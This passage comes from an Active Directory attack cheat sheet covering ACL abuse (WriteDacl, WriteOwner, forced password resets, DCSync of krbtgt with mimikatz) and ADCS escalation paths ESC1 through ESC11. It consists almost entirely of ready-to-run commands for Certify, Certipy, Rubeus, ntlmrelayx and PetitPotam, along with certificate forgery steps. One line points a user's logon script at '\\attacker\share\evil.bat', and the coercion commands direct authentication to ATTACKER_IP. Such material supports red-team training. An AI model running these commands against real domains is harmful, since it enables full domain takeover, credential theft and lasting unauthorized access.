# See RBCD section above
# GenericAll on User - Set SID History (advanced)
# Requires special permissions
sid::add /sam:target_user /new:S-1-5-21-ROOT-DOMAIN-SID-519
# === WRITE PROPERTY EXPLOITATION ===
# WriteProperty on User - Change password
Set-DomainUserPassword -Identity target_user -AccountPassword $(ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)
# WriteProperty on User - Modify servicePrincipalName
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='http/fake.corp.local'}
# WriteProperty on User - Modify scriptPath (logon script)
Set-DomainObject -Identity target_user -Set @{scriptpath='\\attacker\share\evil.bat'}
# WriteProperty on Computer - Modify msDS-AllowedToActOnBehalfOfOtherIdentity
# See RBCD section
# WriteProperty on User - Modify userAccountControl (disable pre-auth)
Set-DomainObject -Identity target_user -Set @{useraccountcontrol=4194304}
# Then AS-REP roast the user
# === WRITE DACL EXPLOITATION ===
# WriteDacl - Grant yourself DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jsmith -Rights DCSync
# Verify
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser jsmith).objectsid}
# Perform DCSync
.\mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"
# WriteDacl - Grant GenericAll on target
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity jsmith -Rights All
# WriteDacl - Grant AddMember on group
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity jsmith -Rights AddMember
# Then add yourself
Add-DomainGroupMember -Identity "Domain Admins" -Members jsmith
# === WRITE OWNER EXPLOITATION ===
# WriteOwner - Take ownership of object
Set-DomainObjectOwner -Identity target_user -OwnerIdentity jsmith
# After taking ownership, grant yourself permissions
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity jsmith -Rights All
# Now you have full control
Set-DomainUserPassword -Identity target_user -AccountPassword $(ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)
# === FORCE CHANGE PASSWORD ===
# Force password change on user
$SecPassword = ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force
Set-ADAccountPassword -Identity target_user -NewPassword $SecPassword -Reset
# PowerView method
Set-DomainUserPassword -Identity target_user -AccountPassword $SecPassword
# === ADD MEMBER EXPLOITATION ===
# AddMember on Domain Admins
Add-DomainGroupMember -Identity "Domain Admins" -Members jsmith
# Verify
Get-DomainGroupMember -Identity "Domain Admins" | Where-Object {$_.MemberName -eq "jsmith"}
# === SELF MEMBERSHIP (SELF ACL) ===
# Some groups allow members to add others
# Check for "SELF" in ACL
# Add user to group if SELF permission exists
net group "Group Name" jsmith /add /domain
# === EXTENDED RIGHTS ===
# User-Force-Change-Password extended right
Set-DomainUserPassword -Identity target_user -AccountPassword $(ConvertTo-SecureString 'P@ss!' -AsPlainText -Force)
# DS-Replication-Get-Changes (DCSync)
# Granted via WriteDacl or directly
# === ACLPWN ===
# Automated ACL exploitation path finder
aclpwn -f jsmith -t "Domain Admins" --domain corp.local --server DC_IP -u jsmith -p 'Welcome123!'
# Dry run (show path without executing)
aclpwn -f jsmith -t "Domain Admins" --domain corp.local --server DC_IP -u jsmith -p 'Welcome123!' --dry
# === IMPACKET DACLEDIT ===
# Grant DCSync rights
dacledit.py -action write -rights DCSync -principal jsmith -target-dn 'DC=corp,DC=local' corp.local/jsmith:'Welcome123!'
# Remove DCSync rights (cleanup)
dacledit.py -action remove -rights DCSync -principal jsmith -target-dn 'DC=corp,DC=local' corp.local/jsmith:'Welcome123!'
# Grant GenericAll
dacledit.py -action write -rights FullControl -principal jsmith -target 'Domain Admins' corp.local/jsmith:'Welcome123!'
# === BLOODHOUND ACL ATTACK PATHS ===
# Find shortest path exploiting ACLs
MATCH p=shortestPath((u:User {name:"JSMITH@CORP.LOCAL"})-[r*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) WHERE ALL(rel in r WHERE type(rel) IN ["WriteDacl","WriteOwner","GenericAll","GenericWrite","Owns","AddMember"]) RETURN p
# Find all users with DCSync
MATCH (u)-[:DCSync|GenericAll]->(d:Domain) RETURN u
# Mark compromised user as owned
MATCH (u:User {name:"JSMITH@CORP.LOCAL"}) SET u.owned=true
# Find attack paths from owned principals
MATCH p=shortestPath((u {owned:true})-[r*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
Active Directory Certificate Services (ADCS) Attacks
## === CONCEPT ===
# ADCS provides PKI infrastructure for AD
# Certificate templates can be misconfigured
# Allows authentication as any user, persistence, privilege escalation
# Certificates valid until expiration (often years)
# === ENUMERATION ===
# Certify (enumerate vulnerable templates)
.\Certify.exe find /vulnerable
.\Certify.exe find /vulnerable /currentuser
# Enumerate all templates
.\Certify.exe find
# Enumerate specific CA
.\Certify.exe find /ca:CA-NAME
# Certipy (Linux alternative)
certipy find -u jsmith@corp.local -p 'Welcome123!' -dc-ip DC_IP -vulnerable
# Enumerate and save output
certipy find -u jsmith@corp.local -p 'Welcome123!' -dc-ip DC_IP -stdout -vulnerable -output certipy_output
# NetExec ADCS enumeration
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M adcs
# === COMMON MISCONFIGURATIONS (ESC1-ESC13) ===
# ESC1 - Misconfigured Certificate Templates
# - Template allows SAN (Subject Alternative Name)
# - Low-privileged users can enroll
# - Template allows domain authentication
# ESC2 - Misconfigured Certificate Templates (Any Purpose)
# - Certificate can be used for any purpose
# - Low-privileged users can enroll
# ESC3 - Enrollment Agent Templates
# - Certificate Request Agent template allows requesting on behalf of others
# ESC4 - Vulnerable Certificate Template Access Control
# - User has write permissions on certificate template
# ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 Flag
# - CA allows specifying SAN in CSR
# ESC7 - Vulnerable Certificate Authority Access Control
# - User has ManageCA or ManageCertificates rights on CA
# ESC8 - NTLM Relay to AD CS HTTP Endpoints
# - Web enrollment enabled without EPA/HTTPS
# === ESC1 - DOMAIN ESCALATION VIA SAN ===
# Find ESC1 vulnerable templates
.\Certify.exe find /vulnerable
# Request certificate for Administrator
.\Certify.exe request /ca:CA-SERVER\CA-NAME /template:VulnTemplate /altname:Administrator
# Convert certificate to PFX
# Copy the certificate and private key from Certify output
# Create PFX file (from .pem)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Use certificate to request TGT with Rubeus
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:pfx_password /ptt
# Certipy ESC1 attack
certipy req -u jsmith@corp.local -p 'Welcome123!' -ca CA-NAME -target ca-server.corp.local -template VulnTemplate -upn administrator@corp.local -dns dc01.corp.local
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Use NT hash from certipy output
evil-winrm -i DC_IP -u Administrator -H NTLM_HASH
# === ESC2 - ANY PURPOSE CERTIFICATE ===
# Find templates with Any Purpose EKU
.\Certify.exe find /vulnerable
# Request certificate
.\Certify.exe request /ca:CA-SERVER\CA-NAME /template:VulnTemplate
# Use for authentication (similar to ESC1)
.\Rubeus.exe asktgt /user:jsmith /certificate:cert.pfx /password:pfx_password /ptt
# === ESC3 - ENROLLMENT AGENT ===
# Step 1: Request Enrollment Agent certificate
.\Certify.exe request /ca:CA-SERVER\CA-NAME /template:EnrollmentAgent
# Step 2: Use agent certificate to request on behalf of Administrator
.\Certify.exe request /ca:CA-SERVER\CA-NAME /template:User /onbehalfof:CORP\Administrator /enrollcert:agent.pfx /enrollcertpw:password
# Step 3: Use certificate to authenticate
.\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:pfx_password /ptt
# Certipy ESC3
certipy req -u jsmith@corp.local -p 'Welcome123!' -ca CA-NAME -target ca-server.corp.local -template EnrollmentAgent
certipy req -u jsmith@corp.local -p 'Welcome123!' -ca CA-NAME -target ca-server.corp.local -template User -on-behalf-of 'corp\Administrator' -pfx jsmith.pfx
# === ESC4 - CERTIFICATE TEMPLATE MODIFICATION ===
# Find templates where user has write permissions
.\Certify.exe find /vulnerable
# Identify template you can modify
Get-DomainObjectAcl -Identity "VulnTemplate" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "WriteProperty|GenericAll"}
# Modify template to allow SAN
# (Complex - requires LDAP modification or GUI)
# PowerView - Enable SAN on template
Set-DomainObject -Identity "CN=VulnTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -Set @{'msPKI-Certificate-Name-Flag'=1}
# Request certificate after modification (follow ESC1)
# Certipy ESC4
certipy template -u jsmith@corp.local -p 'Welcome123!' -template VulnTemplate -configuration "CN=VulnTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -save-old
# === ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 ===
# Check if flag is enabled on CA
.\Certify.exe find
# If enabled, request certificate with SAN from any template
.\Certify.exe request /ca:CA-SERVER\CA-NAME /template:User /altname:Administrator
# Certipy ESC6
certipy req -u jsmith@corp.local -p 'Welcome123!' -ca CA-NAME -target ca-server.corp.local -template User -upn administrator@corp.local
# === ESC7 - MANAGE CA / MANAGE CERTIFICATES ===
# Check for ManageCA rights
.\Certify.exe find /vulnerable
# If you have ManageCA, enable EDITF_ATTRIBUTESUBJECTALTNAME2
# Requires CA admin console or certutil
# Grant approval rights
certutil -config "CA-SERVER\CA-NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
# Request certificate (follow ESC6)
# Certipy ESC7
certipy ca -u jsmith@corp.local -p 'Welcome123!' -target ca-server.corp.local -ca CA-NAME -enable-template VulnTemplate
certipy ca -u jsmith@corp.local -p 'Welcome123!' -target ca-server.corp.local -ca CA-NAME -add-officer jsmith
# === ESC8 - NTLM RELAY TO HTTP ENROLLMENT ===
# Requirements:
# - Web enrollment enabled (HTTP)
# - Extended Protection for Authentication not enforced
# - NTLM authentication allowed
# Start ntlmrelayx targeting ADCS web enrollment
ntlmrelayx.py -t http://ca-server.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce authentication from DC (PetitPotam)
python3 PetitPotam.py -u jsmith -p 'Welcome123!' ATTACKER_IP DC01.corp.local
# Relay will request certificate as DC
# Use certificate to perform DCSync
# Certipy relay
certipy relay -target http://ca-server.corp.local/certsrv/certfnsh.asp -template DomainController
# === ESC9 - NO SECURITY EXTENSION ===
# StrongCertificateBindingEnforcement = 0 or 1
# Certificate without Security Extension can be used after user password change
# Request certificate as user
certipy req -u jsmith@corp.local -p 'Welcome123!' -ca CA-NAME -target ca-server.corp.local -template User
# Change user password (via password reset ACL)
Set-DomainUserPassword -Identity jsmith -AccountPassword $(ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)
# Use old certificate to authenticate as user with new password
certipy auth -pfx jsmith.pfx -dc-ip DC_IP
# === ESC10 - WEAK CERTIFICATE MAPPINGS ===
# sAMAccountName mapping vulnerable
# Request certificate with UPN of target
certipy req -u jsmith@corp.local -p 'Welcome123!' -ca CA-NAME -target ca-server.corp.local -template User -upn Administrator@corp.local
# Requires certificate to not have SID extension
# === ESC11 - IF_ENFORCEENCRYPTICERTREQUEST NOT SET ===
# Certificate request can be relayed
# Similar to ESC8 but without web enrollment
# Start relay
certipy relay -target rpc://ca-server.corp.local -ca CA-NAME -template DomainController
# Coerce authentication
python3 PetitPotam.py ATTACKER_IP DC01.corp.local
# === PASSTHECER (SHADOW CREDENTIALS ALTERNATIVE) ===
# PassTheCert - Use certificate to authenticate via LDAP
# Requirements: Certificate with Client Authentication EKU
# Use PassTheCert to modify AD
passthecert.py -action modify_user -crt cert.crt -key cert.key -domain corp.local -dc-ip DC_IP -target jsmith -new-pass 'NewP@ss123!'
# RBCD attack with certificate
passthecert.py -action write_rbcd -crt cert.crt -key cert.key -domain corp.local -dc-ip DC_IP -delegate-to 'DC01$' -delegate-from 'FAKE01$'
# === PERSISTENCE WITH CERTIFICATES ===
# Request long-lived certificate for current user
.\Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
# Certificate valid for years (default: 1-2 years)
# Works even after password changes
# Golden certificate (if you can sign certificates)
# === CERTIFY ADDITIONAL FEATURES ===
# Download CA certificate
.\Certify.exe cas
# Download certificate from issued certificate
.\Certify.exe download /outfile:cert.pfx /password:password /ca:CA-SERVER\CA-NAME /serial:SERIAL_NUMBER
# === CERTIPY ADDITIONAL FEATURES ===
# Backup ADCS
certipy backup -u administrator@corp.local -p 'Welcome123!' -ca CA-NAME -target ca-server.corp.local
# Restore from backup (forge any certificate)
certipy forge -ca-pfx ca.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'
# Authenticate with forged certificate
certipy auth -pfx administrator_forged.pfx -dc-ip DC_IP
# === RUBEUS CERTIFICATE AUTHENTICATION ===
# Request TGT with certificate
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:pfx_password /ptt
# Request TGT with certificate hash (PKINIT)
.\Rubeus.exe asktgt /user:Administrator /certificate:CERT_HASH /ptt